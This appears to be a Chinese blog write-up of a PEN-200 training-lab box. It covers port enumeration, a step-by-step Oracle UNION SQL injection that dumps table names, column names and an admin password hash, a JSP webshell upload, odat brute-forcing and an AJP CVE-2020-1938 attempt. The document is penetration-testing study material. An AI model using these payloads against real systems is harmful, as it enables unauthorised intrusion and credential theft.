pen200-lab 学习笔记
【pen200-lab】10.11.1.222
🔥系列专栏:pen200-lab
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- pen200-lab 学习笔记
- 信息收集
- smb
- web
- 目录爆破
- 查询数据库
- 查表
- 查列
- 其他的思路尝试
- rpc
- 数据库爆破
- 8009
信息收集
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1521/tcp open oracle-tns Oracle TNS listener 18.0.0.0.0 (unauthorized)
2030/tcp open device2?
2233/tcp open infocrypt?
3389/tcp open ms-wbt-server?
| ssl-cert: Subject: commonName=chris
| Not valid before: 2022-07-31T01:46:21
|_Not valid after: 2023-01-30T01:46:21
|_ssl-date: 2022-12-01T13:18:03+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
8009/tcp open ajp13?
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.19
|_http-title: Apache Tomcat/9.0.19
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open unknown
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open unknown
49684/tcp open unknown
49703/tcp open unknown
8080/47001来自于web
139/445来自于smb
1521的甲骨文数据库
5985的winrm
135的rpc
我将从smb这个通常容易出现问题的地方开始
smb
smbmap -H 10.11.1.222
nmap -p 445 --script vuln 10.11.1.222
目前没有办法在这里获得突破
下一步我将去web
web
但是
两个默认页面
/host-manager/html
以及
/manager
都没有
目录爆破
gobuster dir -u http://10.11.1.222:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
发现了一个登录页面
弱口令无效
但是我尝试了一下简单的sql注入起了效果
而当我在搜索框中输入‘时,我发现这个甲骨文数据库的语法报错
首先进行简单的测试
' or 1=1-- -
出现了未预期的信息
我将针对这个点进行sql注入测试
' or 1=2 order by 4-- -
之前都是正常,在4的时候出现了错误
说明字段数是3
' or 1=2 union select null,null,null from dual-- -
' or 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual-- -
可以正确查询到数据库信息
查询用户存在
' or 1=2 union select null,(SELECT user FROM dual),null from dual-- -
查询数据库
' or 1=2 union select null,(SELECT SYS.DATABASE_NAME FROM DUAL),null from dual-- -
数据库名为xe
查表
查询表名为web_admins
' or 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual-- -
' or 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name not in 'WEB_ADMINS'),null from dual-- -
得到新的表:WEB_CONTENT
' or 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name not in ('WEB_ADMINS','WEB_CONTENT')),null from dual-- -
接着查有无其他表
' or 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name not in ('WEB_ADMINS','WEB_CONTENT','WEB_USERS')),null from dual-- -
终于没了,一共三张表
‘WEB_ADMINS’,‘WEB_CONTENT’,‘WEB_USERS’
查列
在WEB_ADMINS查询
' or 1=2 union select null,(select column_name from user_tab_columns where table_name='WEB_ADMINS' and rownum=1),null from dual-- -
查询列名为ADMIN_ID
查询除ADMIN_ID之外其他列
' or 1=2 union select null,(select column_name from user_tab_columns where table_name='WEB_ADMINS' and rownum=1 and column_name not in 'ADMIN_ID'),null from dual-- -
接着查有无其他列
' or 1=2 union select null,(select column_name from user_tab_columns where table_name='WEB_ADMINS' and rownum=1 and column_name not in ('ADMIN_ID','ADMIN_NAME')),null from dual-- -
得到password
接着查
' or 1=2 union select null,(select column_name from user_tab_columns where table_name='WEB_ADMINS' and rownum=1 and column_name not in ('ADMIN_ID','ADMIN_NAME','PASSWORD')),null from dual-- -
没别的了
所以一共三列
‘ADMIN_ID’,‘ADMIN_NAME’,‘PASSWORD’
其他的表我就不试了
我估计没啥东西
' or 1=2 union select null,(select ADMIN_NAME from "WEB_ADMINS" where rownum=1),null from dual-- -
看看有没有别的用户,结果是没有
' or 1=2 union select null,(select ADMIN_NAME from "WEB_ADMINS" where rownum=1 and ADMIN_NAME <> 'admin'),null from dual-- -
' or 1=2 union select null,(select PASSWORD from "WEB_ADMINS" where rownum=1),null from dual-- -
查询有没有其他密码,结果是并没有
' or 1=2 union select null,(select PASSWORD from "WEB_ADMINS" where rownum=1 and PASSWORD <> 'd82494f05d6917ba02f7aaa29689ccb444bb73f20380876cb05d1f37537b7892'),null from dual-- -
我将获得的hash放在解密
得到最终凭证
而后我会在web中登陆这个账号‘
我发现了一个文件上传的点
我随意上传一个
而后看到了完整路径
C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\blog\user.txt
blog这个目录非常眼熟
因为这是一个apache服务器,所以我将首先上传php反弹shell
可惜失败了,接下来上传一个aspx的webshell
依旧失败
最终我决定遵循上传页面是jsp页面,所以我会上传一个jsp shell
https://gist.github.com/nikallass/5ceef8c8c02d58ca2c69a29a92d2f461
而后可以获取到proof.txt
其他的思路尝试
到这里暂时没有可前进的地方了
我将继续枚举rpc
rpc
同样没有任何信息
那么现在我们已经枚举了我们所能枚举的大部分东西,只剩下了数据库的一些攻击,我们现在开始利用
数据库爆破
odat sidguesser -s 10.11.1.222
这要很久,不过我看到了有效的sid,我认为这是个很好的兆头
XE
odat tnspoison -s 10.11.1.222 -d XE --test-module
并尝试爆破了密码
odat all -s 10.11.1.222 -p 1521 -d XE
8009
这个端口存在疑点问题
https://book.hacktricks.xyz/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp
在hacktrick中我也发现了一个东西,他似乎可以帮助我访问tomcat的管理器页面
首先,它具有一个lfi
需要利用脚本
https://github.com/dacade/CVE-2020-1938
可惜我能访问的并不多
并且也没有什么有用的东西
不过这个ajp同样被用作tomcat的代理
由于这是一个apache的tomcat
Apache Tomcat/9.0.19
所以我会使用hacktrick中的这一模块
再利用时会发生找不到安装包的情况
https://forum.hackthebox.com/t/workaround-server-side-attacks-libapache2-mod-jk-package-unavailable/266637
这是解决方法
最终成功的做出来了
可是依旧没有啥东西
我还是不能访问tomcat的一些页面